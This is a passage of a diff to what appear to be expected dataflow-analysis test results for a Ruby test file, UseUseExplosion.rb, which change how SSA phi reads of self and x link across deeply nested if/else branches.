UseUseExplosion.rb:20:976:20:2964 | SSA phi read(self) | -| UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(x) | UseUseExplosion.rb:20:976:20:2964 | SSA phi read(x) | +| UseUseExplosion.rb:20:2939:20:2944 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2943:20:2943 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2950:20:2960 | else ... | UseUseExplosion.rb:20:976:20:2964 | if ... | -| UseUseExplosion.rb:20:2955:20:2960 | [post] self | UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2955:20:2960 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2955:20:2960 | call to use | UseUseExplosion.rb:20:2950:20:2960 | else ... | -| UseUseExplosion.rb:20:2955:20:2960 | self | UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2959:20:2959 | x | UseUseExplosion.rb:20:2950:20:2960 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(self) | UseUseExplosion.rb:20:955:20:2980 | SSA phi read(self) | -| UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(x) | UseUseExplosion.rb:20:955:20:2980 | SSA phi read(x) | +| UseUseExplosion.rb:20:2955:20:2960 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2959:20:2959 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2966:20:2976 | else ... | UseUseExplosion.rb:20:955:20:2980 | if ... | -| UseUseExplosion.rb:20:2971:20:2976 | [post] self | UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2971:20:2976 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2971:20:2976 | call to use | UseUseExplosion.rb:20:2966:20:2976 | else ... | -| UseUseExplosion.rb:20:2971:20:2976 | self | UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2975:20:2975 | x | UseUseExplosion.rb:20:2966:20:2976 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(self) | UseUseExplosion.rb:20:934:20:2996 | SSA phi read(self) | -| UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(x) | UseUseExplosion.rb:20:934:20:2996 | SSA phi read(x) | +| UseUseExplosion.rb:20:2971:20:2976 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2975:20:2975 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2982:20:2992 | else ... | UseUseExplosion.rb:20:934:20:2996 | if ... | -| UseUseExplosion.rb:20:2987:20:2992 | [post] self | UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:2987:20:2992 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:2987:20:2992 | call to use | UseUseExplosion.rb:20:2982:20:2992 | else ... | -| UseUseExplosion.rb:20:2987:20:2992 | self | UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:2991:20:2991 | x | UseUseExplosion.rb:20:2982:20:2992 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(self) | UseUseExplosion.rb:20:913:20:3012 | SSA phi read(self) | -| UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(x) | UseUseExplosion.rb:20:913:20:3012 | SSA phi read(x) | +| UseUseExplosion.rb:20:2987:20:2992 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:2991:20:2991 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:2998:20:3008 | else ... | UseUseExplosion.rb:20:913:20:3012 | if ... | -| UseUseExplosion.rb:20:3003:20:3008 | [post] self | UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3003:20:3008 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3003:20:3008 | call to use | UseUseExplosion.rb:20:2998:20:3008 | else ... | -| UseUseExplosion.rb:20:3003:20:3008 | self | UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3007:20:3007 | x | UseUseExplosion.rb:20:2998:20:3008 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(self) | UseUseExplosion.rb:20:892:20:3028 | SSA phi read(self) | -| UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(x) | UseUseExplosion.rb:20:892:20:3028 | SSA phi read(x) | +| UseUseExplosion.rb:20:3003:20:3008 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3007:20:3007 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3014:20:3024 | else ... | UseUseExplosion.rb:20:892:20:3028 | if ... | -| UseUseExplosion.rb:20:3019:20:3024 | [post] self | UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3019:20:3024 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3019:20:3024 | call to use | UseUseExplosion.rb:20:3014:20:3024 | else ... | -| UseUseExplosion.rb:20:3019:20:3024 | self | UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3023:20:3023 | x | UseUseExplosion.rb:20:3014:20:3024 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(self) | UseUseExplosion.rb:20:871:20:3044 | SSA phi read(self) | -| UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(x) | UseUseExplosion.rb:20:871:20:3044 | SSA phi read(x) | +| UseUseExplosion.rb:20:3019:20:3024 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3023:20:3023 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3030:20:3040 | else ... | UseUseExplosion.rb:20:871:20:3044 | if ... | -| UseUseExplosion.rb:20:3035:20:3040 | [post] self | UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3035:20:3040 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3035:20:3040 | call to use | UseUseExplosion.rb:20:3030:20:3040 | else ... | -| UseUseExplosion.rb:20:3035:20:3040 | self | UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3039:20:3039 | x | UseUseExplosion.rb:20:3030:20:3040 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(self) | UseUseExplosion.rb:20:850:20:3060 | SSA phi read(self) | -| UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(x) | UseUseExplosion.rb:20:850:20:3060 | SSA phi read(x) | +| UseUseExplosion.rb:20:3035:20:3040 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3039:20:3039 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3046:20:3056 | else ... | UseUseExplosion.rb:20:850:20:3060 | if ... | -| UseUseExplosion.rb:20:3051:20:3056 | [post] self | UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3051:20:3056 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3051:20:3056 | call to use | UseUseExplosion.rb:20:3046:20:3056 | else ... | -| UseUseExplosion.rb:20:3051:20:3056 | self | UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3055:20:3055 | x | UseUseExplosion.rb:20:3046:20:3056 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(self) | UseUseExplosion.rb:20:829:20:3076 | SSA phi read(self) | -| UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(x) | UseUseExplosion.rb:20:829:20:3076 | SSA phi read(x) | +| UseUseExplosion.rb:20:3051:20:3056 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3055:20:3055 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3062:20:3072 | else ... | UseUseExplosion.rb:20:829:20:3076 | if ... | -| UseUseExplosion.rb:20:3067:20:3072 | [post] self | UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3067:20:3072 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3067:20:3072 | call to use | UseUseExplosion.rb:20:3062:20:3072 | else ... | -| UseUseExplosion.rb:20:3067:20:3072 | self | UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3071:20:3071 | x | UseUseExplosion.rb:20:3062:20:3072 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(self) | UseUseExplosion.rb:20:808:20:3092 | SSA phi read(self) | -| UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(x) | UseUseExplosion.rb:20:808:20:3092 | SSA phi read(x) | +| UseUseExplosion.rb:20:3067:20:3072 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3071:20:3071 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3078:20:3088 | else ... | UseUseExplosion.rb:20:808:20:3092 | if ... | -| UseUseExplosion.rb:20:3083:20:3088 | [post] self | UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3083:20:3088 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3083:20:3088 | call to use | UseUseExplosion.rb:20:3078:20:3088 | else ... | -| UseUseExplosion.rb:20:3083:20:3088 | self | UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3087:20:3087 | x | UseUseExplosion.rb:20:3078:20:3088 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(self) | UseUseExplosion.rb:20:787:20:3108 | SSA phi read(self) | -| UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(x) | UseUseExplosion.rb:20:787:20:3108 | SSA phi read(x) | +| UseUseExplosion.rb:20:3083:20:3088 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3087:20:3087 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3094:20:3104 | else ... | UseUseExplosion.rb:20:787:20:3108 | if ... | -| UseUseExplosion.rb:20:3099:20:3104 | [post] self | UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3099:20:3104 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3099:20:3104 | call to use | UseUseExplosion.rb:20:3094:20:3104 | else ... | -| UseUseExplosion.rb:20:3099:20:3104 | self | UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3103:20:3103 | x | UseUseExplosion.rb:20:3094:20:3104 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(self) | UseUseExplosion.rb:20:766:20:3124 | SSA phi read(self) | -| UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(x) | UseUseExplosion.rb:20:766:20:3124 | SSA phi read(x) | +| UseUseExplosion.rb:20:3099:20:3104 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3103:20:3103 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3110:20:3120 | else ... | UseUseExplosion.rb:20:766:20:3124 | if ... | -| UseUseExplosion.rb:20:3115:20:3120 | [post] self | UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3115:20:3120 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3115:20:3120 | call to use | UseUseExplosion.rb:20:3110:20:3120 | else ... | -| UseUseExplosion.rb:20:3115:20:3120 | self | UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3119:20:3119 | x | UseUseExplosion.rb:20:3110:20:3120 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(self) | UseUseExplosion.rb:20:745:20:3140 | SSA phi read(self) | -| UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(x) | UseUseExplosion.rb:20:745:20:3140 | SSA phi read(x) | +| UseUseExplosion.rb:20:3115:20:3120 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3119:20:3119 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3126:20:3136 | else ... | UseUseExplosion.rb:20:745:20:3140 | if ... | -| UseUseExplosion.rb:20:3131:20:3136 | [post] self | UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3131:20:3136 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3131:20:3136 | call to use | UseUseExplosion.rb:20:3126:20:3136 | else ... | -| UseUseExplosion.rb:20:3131:20:3136 | self | UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3135:20:3135 | x | UseUseExplosion.rb:20:3126:20:3136 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(self) | UseUseExplosion.rb:20:724:20:3156 | SSA phi read(self) | -| UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(x) | UseUseExplosion.rb:20:724:20:3156 | SSA phi read(x) | +| UseUseExplosion.rb:20:3131:20:3136 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3135:20:3135 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3142:20:3152 | else ... | UseUseExplosion.rb:20:724:20:3156 | if ... | -| UseUseExplosion.rb:20:3147:20:3152 | [post] self | UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3147:20:3152 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3147:20:3152 | call to use | UseUseExplosion.rb:20:3142:20:3152 | else ... | -| UseUseExplosion.rb:20:3147:20:3152 | self | UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3151:20:3151 | x | UseUseExplosion.rb:20:3142:20:3152 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(self) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(self) | -| UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(x) | UseUseExplosion.rb:20:703:20:3172 | SSA phi read(x) | +| UseUseExplosion.rb:20:3147:20:3152 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3151:20:3151 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3158:20:3168 | else ... | UseUseExplosion.rb:20:703:20:3172 | if ... | -| UseUseExplosion.rb:20:3163:20:3168 | [post] self | UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3163:20:3168 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3163:20:3168 | call to use | UseUseExplosion.rb:20:3158:20:3168 | else ... | -| UseUseExplosion.rb:20:3163:20:3168 | self | UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3167:20:3167 | x | UseUseExplosion.rb:20:3158:20:3168 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(self) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(self) | -| UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(x) | UseUseExplosion.rb:20:682:20:3188 | SSA phi read(x) | +| UseUseExplosion.rb:20:3163:20:3168 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3167:20:3167 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3174:20:3184 | else ... | UseUseExplosion.rb:20:682:20:3188 | if ... | -| UseUseExplosion.rb:20:3179:20:3184 | [post] self | UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3179:20:3184 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3179:20:3184 | call to use | UseUseExplosion.rb:20:3174:20:3184 | else ... | -| UseUseExplosion.rb:20:3179:20:3184 | self | UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3183:20:3183 | x | UseUseExplosion.rb:20:3174:20:3184 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(self) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(self) | -| UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(x) | UseUseExplosion.rb:20:661:20:3204 | SSA phi read(x) | +| UseUseExplosion.rb:20:3179:20:3184 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3183:20:3183 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3190:20:3200 | else ... | UseUseExplosion.rb:20:661:20:3204 | if ... | -| UseUseExplosion.rb:20:3195:20:3200 | [post] self | UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3195:20:3200 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3195:20:3200 | call to use | UseUseExplosion.rb:20:3190:20:3200 | else ... | -| UseUseExplosion.rb:20:3195:20:3200 | self | UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3199:20:3199 | x | UseUseExplosion.rb:20:3190:20:3200 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(self) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(self) | -| UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(x) | UseUseExplosion.rb:20:640:20:3220 | SSA phi read(x) | +| UseUseExplosion.rb:20:3195:20:3200 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3199:20:3199 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3206:20:3216 | else ... | UseUseExplosion.rb:20:640:20:3220 | if ... | -| UseUseExplosion.rb:20:3211:20:3216 | [post] self | UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3211:20:3216 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3211:20:3216 | call to use | UseUseExplosion.rb:20:3206:20:3216 | else ... | -| UseUseExplosion.rb:20:3211:20:3216 | self | UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3215:20:3215 | x | UseUseExplosion.rb:20:3206:20:3216 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(self) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(self) | -| UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(x) | UseUseExplosion.rb:20:619:20:3236 | SSA phi read(x) | +| UseUseExplosion.rb:20:3211:20:3216 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3215:20:3215 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3222:20:3232 | else ... | UseUseExplosion.rb:20:619:20:3236 | if ... | -| UseUseExplosion.rb:20:3227:20:3232 | [post] self | UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3227:20:3232 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3227:20:3232 | call to use | UseUseExplosion.rb:20:3222:20:3232 | else ... | -| UseUseExplosion.rb:20:3227:20:3232 | self | UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3231:20:3231 | x | UseUseExplosion.rb:20:3222:20:3232 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(self) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(self) | -| UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(x) | UseUseExplosion.rb:20:598:20:3252 | SSA phi read(x) | +| UseUseExplosion.rb:20:3227:20:3232 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3231:20:3231 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3238:20:3248 | else ... | UseUseExplosion.rb:20:598:20:3252 | if ... | -| UseUseExplosion.rb:20:3243:20:3248 | [post] self | UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3243:20:3248 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3243:20:3248 | call to use | UseUseExplosion.rb:20:3238:20:3248 | else ... | -| UseUseExplosion.rb:20:3243:20:3248 | self | UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3247:20:3247 | x | UseUseExplosion.rb:20:3238:20:3248 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(self) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(self) | -| UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(x) | UseUseExplosion.rb:20:577:20:3268 | SSA phi read(x) | +| UseUseExplosion.rb:20:3243:20:3248 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3247:20:3247 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3254:20:3264 | else ... | UseUseExplosion.rb:20:577:20:3268 | if ... | -| UseUseExplosion.rb:20:3259:20:3264 | [post] self | UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3259:20:3264 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3259:20:3264 | call to use | UseUseExplosion.rb:20:3254:20:3264 | else ... | -| UseUseExplosion.rb:20:3259:20:3264 | self | UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3263:20:3263 | x | UseUseExplosion.rb:20:3254:20:3264 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(self) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(self) | -| UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(x) | UseUseExplosion.rb:20:556:20:3284 | SSA phi read(x) | +| UseUseExplosion.rb:20:3259:20:3264 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3263:20:3263 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3270:20:3280 | else ... | UseUseExplosion.rb:20:556:20:3284 | if ... | -| UseUseExplosion.rb:20:3275:20:3280 | [post] self | UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3275:20:3280 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3275:20:3280 | call to use | UseUseExplosion.rb:20:3270:20:3280 | else ... | -| UseUseExplosion.rb:20:3275:20:3280 | self | UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3279:20:3279 | x | UseUseExplosion.rb:20:3270:20:3280 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(self) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(self) | -| UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(x) | UseUseExplosion.rb:20:535:20:3300 | SSA phi read(x) | +| UseUseExplosion.rb:20:3275:20:3280 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3279:20:3279 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3286:20:3296 | else ... | UseUseExplosion.rb:20:535:20:3300 | if ... | -| UseUseExplosion.rb:20:3291:20:3296 | [post] self | UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3291:20:3296 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3291:20:3296 | call to use | UseUseExplosion.rb:20:3286:20:3296 | else ... | -| UseUseExplosion.rb:20:3291:20:3296 | self | UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3295:20:3295 | x | UseUseExplosion.rb:20:3286:20:3296 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(self) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(self) | -| UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(x) | UseUseExplosion.rb:20:514:20:3316 | SSA phi read(x) | +| UseUseExplosion.rb:20:3291:20:3296 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3295:20:3295 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3302:20:3312 | else ... | UseUseExplosion.rb:20:514:20:3316 | if ... | -| UseUseExplosion.rb:20:3307:20:3312 | [post] self | UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3307:20:3312 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3307:20:3312 | call to use | UseUseExplosion.rb:20:3302:20:3312 | else ... | -| UseUseExplosion.rb:20:3307:20:3312 | self | UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3311:20:3311 | x | UseUseExplosion.rb:20:3302:20:3312 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(self) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(self) | -| UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(x) | UseUseExplosion.rb:20:493:20:3332 | SSA phi read(x) | +| UseUseExplosion.rb:20:3307:20:3312 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3311:20:3311 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3318:20:3328 | else ... | UseUseExplosion.rb:20:493:20:3332 | if ... | -| UseUseExplosion.rb:20:3323:20:3328 | [post] self | UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3323:20:3328 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3323:20:3328 | call to use | UseUseExplosion.rb:20:3318:20:3328 | else ... | -| UseUseExplosion.rb:20:3323:20:3328 | self | UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3327:20:3327 | x | UseUseExplosion.rb:20:3318:20:3328 | [input] SSA phi read(x) | -| UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(self) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(self) | -| UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(x) | UseUseExplosion.rb:20:472:20:3348 | SSA phi read(x) | +| UseUseExplosion.rb:20:3323:20:3328 | self | UseUseExplosion.rb:21:13:21:17 | self | +| UseUseExplosion.rb:20:3327:20:3327 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) | | UseUseExplosion.rb:20:3334:20:3344 | else ... | UseUseExplosion.rb:20:472:20:3348 | if ... | -| UseUseExplosion.rb:20:3339:20:3344 | [post] self | UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(self) | +| UseUseExplosion.rb:20:3339:20:3344 | [post] self | UseUseExplosion.rb:21:13:21:17 | self | | UseUseExplosion.rb:20:3339:20:3344 | call to use | UseUseExplosion.rb:20:3334:20:3344 | else ... | -| UseUseExplosion.rb:20:3339:20:3344 | self | UseUseExplosion.rb:20:3334:20:3344 | [input] SSA phi read(self) | -| UseUseExplosion.rb:20:3343:20:3343 | 